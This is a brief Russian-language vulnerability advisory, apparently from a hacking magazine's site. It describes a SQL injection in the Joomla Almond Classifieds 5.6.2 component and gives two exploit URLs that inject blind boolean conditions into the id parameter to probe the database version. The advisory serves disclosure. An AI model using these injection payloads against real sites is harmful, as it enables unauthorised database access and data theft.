Рекомендуем почитать:
Хакер #305. Многошаговые SQL-инъекции
Программа: Joomla Almond Classifieds 5.6.2
Уязвимость позволяет удаленному пользователю выполнить произвольные SQL
команды в базе данных приложения. Уязвимость существует из-за недостаточной
обработки входных данных сценарием index.php. Удаленный пользователь может с
помощью специально сформированного запроса выполнить произвольные SQL команды в
базе данных приложения.
Эксплоит:
http://www.cyb3r.1st/ [path] /index.php?option=com_aclassf&Itemid=26&ct=merch5&md=details&id=6468+and+substring(@@version,1,1)=5
http://www.cyb3r.1st/ [path] /index.php?option=com_aclassf&Itemid=26&ct=merch5&md=details&id=6468+and+substring(@@version,1,1)=4
